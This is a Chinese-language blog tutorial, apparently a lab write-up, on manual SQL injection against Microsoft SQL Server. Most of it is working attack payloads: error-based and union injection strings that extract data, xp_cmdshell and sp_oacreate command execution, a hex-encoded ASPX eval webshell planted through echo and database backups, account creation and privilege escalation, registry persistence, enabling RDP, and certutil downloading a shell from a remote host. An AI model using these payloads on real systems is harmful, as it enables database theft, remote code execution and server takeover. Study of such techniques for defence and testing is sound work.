美文网首页Web攻防
Mssql手工注入小结

Mssql手工注入小结

作者: book4yi | 来源:发表于2020-08-09 11:43 被阅读0次

    前言:


    说起sql注入环境,网上流行的一些漏洞靶场基本上都是基于Mysql+Apache搭建的,所以我对mysql的手注及提权多多少少有一定的了解,但对mssql还很陌生,为了避免过度依赖sqlmap一把梭的尴尬局面,于是有了这篇文章。

    环境介绍:

    搭建环境:win7 + SQL Server 2008 R2 + IIS7.5
    win7开放1433端口
    sql server 2008 r2下载及搭建过程参考:Win7安装sqlserver2008r2教程

    苦于找不到漏洞环境,只好找公开的NET源码下载。
    .NET源码下载地址:.NET源码 - 下载列表 - 源码之家

    ISAPI和CGI限制都设置为允许:

    部分配置参考:

    注入漏洞发现:


    搭建过程总是磕磕绊绊的,环境搭建好以后,使用xray联动awvs快速发现漏洞:

    这里直接放出结果:

    随便找一处注入点用sqlmap一把梭瞅瞅:

    基本齐活了,作为手注漏洞环境挺好的

    基础知识:


    Mssql的系统自带库:master
    在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表:sysobjects
    此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表。

    Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而xtype代表对象的类型。

    常见的类型有:

    类型简称 含义
    U 表(用户定义类型)
    V 视图
    P 存储过程
    X 拓展存储过程

    mssql常用参数:

    当前数据库版本:@@version
    有关服务器主机的信息:@@servername
    当前数据库名称:db_name()
    当前用户:user
    数据库权限:IS_SRVROLEMEMBER()

    手注过程:


    报错注入:

    判断是否是Mssql数据库:

    id=1 and (select count(*) from sysobjects)>0
    id=1 and exists(select * from sysobjects)
    

    使用了上面这条语句说明它权限还有点大,还有可能是 sa 权限,因为可以读取任意表

    判断权限:

    id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))--  //sa
    id=1 and 1=(select IS_MEMBER('db_owner'))=1--   //  dbo
    id=1 and 1=(select IS_MEMBER('public'))=1--  //public
    

    mssql权限划分:

    sysadmin:可以执行所有操作,包括数据库操作,文件管理,命令执行,注册表读取等
    db_owner:可以执行数据库操作,包括文件管理、数据库操作等
    public:只能执行查询操作

    本地测试页面返回正常,说明它是 sa 权限

    查看当前数据库版本:

    id=1 and 1=(select @@version)
    id=@@version
    id=1 and 1=(convert(int,@@version))
    id=convert(int,@@version)
    

    通过这个例子了解报错注入的原理:
    and 1 是int类型,后面的(select @@version) 是字符类型,不相等,就会报错从而爆出相关信息
    而原本访问网站 id=1 查询的是数字类型int,而我们查询的是字符类型,所以他从字符类型转换为int类型失败就导致网站报错从而泄露网站的数据库版本信息

    查看当前数据库名称:

    id=1 and 1=(select db_name())
    id=db_name()
    

    convert函数利用原理:
    对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

    获取第一个用户数据库的名称:

    id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
    

    语句解析:

    top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录
    对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图里

    从图中可以看到,前面4个id号是默认mssql数据库自带的,实际上 ReportServer 和 ReportServerTempDB 也是安装过程中自带的数据库,真正手动创建的数据库为后面三个,以搭建环境为基准的话,这里第7个才是用户所创建的第一个数据库,以此类推!

    获取所有数据库的名字:

    # for xml path:将查询结果集以XML形式展现
    id=1 and 1=(select name from master..sysdatabases for xml path)
    

    获取当前网站数据库所使用的第一个表名:

    id=1 and 1=(select top 1 name from sysobjects where xtype='u')
    id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '')  # 获取第二个表名,以此类推
    id=CONVERT(int,(select top 1 table_name from information_schema.columns))  # 获取当前数据库的表名
    

    爆出所有表名:

    id=1 and 1=(select name from sysobjects for xml path)
    

    本地复现失败,可能是表太多了,数据传输量过大被截断了?(盲猜)

    获取列名:
    我们知道了第一个表名为:Portal_Announcementscat

    id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))
    
    # 506F7274616C5F416E6E6F756E63656D656E7473636174 为表名 Portal_Announcementscat 的 hex值
    id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar)))
    

    获取到第一个列名为:catid,参照数据库信息进行比对:

    获取下一个列名:

    id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')
    
    id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar) and COLUMN_NAME != 'catid'))
    

    获取数据:

    id=1 and 1=(select top 1 catname from Portal_Announcementscat)
    id=convert(int,(select top 1 catname from Portal_Announcementscat))
    

    获取下一条数据:

    id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')
    id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))
    
    联合注入:

    判断字段长度:

    id=1 order by 8--
    

    上面得到数据列数为8,寻找字符型显示位:

    id=0 union all select null,null,null,null,null,null,null,null
    

    这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段
    使用的 null 是说明它无关是字符型还是数字型

    现在,我们需要将依次每一个数据列转换为@@version或者db_name(),寻找字符型显示位:

    id=0 union all select @@version,null,null,null,null,null,null,null
    id=0 union all select null,@@version,null,null,null,null,null,null  # 以此类推
    

    注意:这里其实填啥都可以,不一定得是@@version诸如此类的,只要是字符型数据都行:

    获取表名信息:

    id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null
    id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null
    
    # 获取之后的表名,以此类推
    id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null  
    

    获取列名信息:

    # 1 代表的是查询第一个列名
    id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null
    
    # 获取第i列名信息
    id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null
    

    获取数据信息:

    id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat
    

    xp_cmdshell执行命令:

    我们刚才知道了网站的权限是 sa 权限,那么我们就可以干很多事,包括执行系统命令等等

    xp_cmdshell:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器权限上。也就是它开启的话我们就可以执行系统命令!

    判断xp_cmdshell是否存在:

    id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
    

    页面返回正常,说明xp_cmdshell存在。
    如果拓展被删除,执行以下语句恢复:

    id=1;exec sp_dropextendedproc 'xp_cmdshell'
    

    上面这条语句在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询:

    id=1;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
    

    该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
    如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句:

    id=1;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
    

    xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。
    如果用户拥有管理员sa权限则可以用sp_configure重新开启它

    本地环境为sql server 2008,可以看到默认情况下是禁止的:

    这里既然是sa用户,直接通过注入环境开启 xp_cmdshell:

    id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
    id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--
    
    # 关闭 xp_cmdshell:
    exec sp_configure 'show advanced options', 1;reconfigure;
    exec sp_configure 'xp_cmdshell', 0;reconfigure
    

    尝试通过xp_cmdshell执行系统命令:

    id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--
    id=1 ;exec xp_cmdshell "ping 1yi53x.dnslog.cn"--
    

    通过dnslog可以看到系统命令成功执行

    关于xp_cmdshell的利用方式很多,比如添加管理员用户,写入一句话到网站根目录,反弹shell等等

    查找网站根目录:

    利用前提:

    1、目标网站注入支持堆叠注入
    2、当前权限是SA权限
    3、使用sqlmap的 –os-shell 无法获取到权限

    思路:通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径

    假设我们已经知道目标网站下有一个ceshi.txt文件

    # 创建表hack,并添加一个tmp的字段
    id=1;create table hack (tmp varchar(1000));-- 
    
    # 查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
    id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (ceshi*.txt) do @echo %i';--
    #或者
    id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\ceshi.txt';--
    

    读取数据,得到目标网站绝对路径为:

    将一句话木马写入目标网站根目录,并命名为nothinks.aspx

    注意:要把所有的<、>前面加一个^号

    id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > D:\aspx\oa\nothinks.aspx';--
    
    # 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
    exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
    exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
    exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
    exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
    

    使用 certutil 远程下载木马文件:

    id=1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--
    

    SA权限使用sp_oacreate执行系统命令:

    使用下面命令查看是否可使用 sp_oacreate 执行系统命令:

    id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'--
    

    可以看到默认情况下禁止访问

    如果SQLServer 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开

    id=1;EXEC sp_configure 'show advanced options', 1;--
    id=1;RECONFIGURE WITH OVERRIDE;--
    id=1;EXEC sp_configure 'Ole Automation Procedures', 1;--
    id=1;RECONFIGURE WITH OVERRIDE;--
    

    再次执行命令,通过dnslog判断是否执行成功:

    id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'ping ffk9ba.dnslog.cn'--
    

    这时调用命令创建用户:

    id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book4yi password@ /add'--
    

    xp_regwrite操作注册表与开启沙盒模式:

    在sa权限下可以调用xp_regwrite写入注册表,查询语句如下:

    id=1;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
    'black','REG_SZ','net user book4yi 123456 /add'
    

    写入注册表启动项,系统启动后就会执行"net user book4yi 123456 /add"命令,从而在服务器上添加一个book4yi账户

    使用沙盒进行提权详情参考:
    https://blog.51cto.com/11797152/2411770
    https://www.jianshu.com/p/088c0705f7f9

    其他存储过程补充:

    常见的危险存储过程如下表:

    存储过程 说明
    sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
    sp_dropuser 从当前数据库中删除数据库用户
    xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
    xp_regread 读取注册表
    xp_regwrite 写入注册表
    xp_redeletevalue 删除注册表
    xp_dirtree 读取目录
    sp_password 更改密码
    xp_servicecontrol 停止或激活某服务
    xp_readerrorlog 读取SQLServer的错误日志;
    xp_snmp_getstate 获取snmp状态信息;
    xp_sprintf 格式化数据;
    xp_sqlinventory 查询SQLServer清单;
    xp_sqlregister 对注册表的读取和编辑;
    xp_sqltrace SQL跟踪记录;
    xp_servicecontrol 服务管理控制,该存储过程允许用户启动、停止、暂停或运行服务;
    xp_sscanf 从字符串中读取数据数据到每个格式参数给出的参数位置;
    xp_availablemedia 该存储过程可以查看系统上可用的磁盘驱动器的空间信息;
    xp_subdirs 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹;

    DB_owner权限LOG备份Getshell:

    SQLServer常见的备份策略:

    每周一次完整备份
    每天一次差异备份
    每小时一次事务日志备份

    利用前提:

    1、目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
    2、知道网站的绝对路径
    3、该注入支持堆叠注入

    alter database oa set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
    create table cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
    backup log oa to disk= 'D:\aspx\oa\book4yi.aspx' with init;   #备份表到指定路径
    insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E);  #插入一句话到cmd表里
    backup log oa to disk='D:\aspx\oa\book4yi-2.aspx';   #把操作日志备份到指定文件
    drop table cmd;    #删除cmd表
    

    语句成功执行以后,会在目标网站根目录下生成book4yi.aspx和book4yi-2.aspx文件,其中book4yi.aspx 保存数据库,book4yi-2.aspx就是我们需要连接的木马文件

    之后用蚁剑成功连接!

    查看当前用户权限:

    DB_owner权限差异备份Getshell

    create table [dbo].[book4yi] ([cmd] [image])
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
    insert into [book4yi](cmd) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E)
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x44003a005c0061007300700078005c006f0061005c007900650073006f006b002e006100730070007800 backup log @a to disk=@s with init,no_truncate
    Drop table [book4yi]
    
    1)id=1;backup database 库名 to disk = 'c:\bak.bak' ;--
    或者
    id=1;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s--     //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库
    2)id=1;create table 数据库名..表名(a image)--     //建立表,加字段
    3)id=1;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制
    4)id=1;backup database 库名 to disk = 'c:\shell.asp' with differential , format ;--    //进行差异备份
    或者
    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--     //备份到路径\xx.asp,前提是已得知路径,注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ,访问查看是否备份getshell成功
    5)id=1;Drop table 数据库..表名--     //备份完getshell过后删除表
    

    本地测试的时候,写入倒是成功了,但是写入了四条语句导致无法连接

    其他语言没测试,等待有缘人帮助

    更多用法请参考:mssql注入经常使用的命令

    更多思路拓展请参考:
    渗透经验分享之SQL注入思路拓展
    MSSQL注入常用SQL语句整理

    参考如下:


    史上最详细的sqlServer手工注入详解
    Microsoft SQL Server手注之报错注入
    Microsoft SQL Server手注之联合查询注入
    SQLServer数据库注入详解

    相关文章

      网友评论

        本文标题:Mssql手工注入小结

        本文链接:https://www.haomeiwen.com/subject/rhlhdktx.html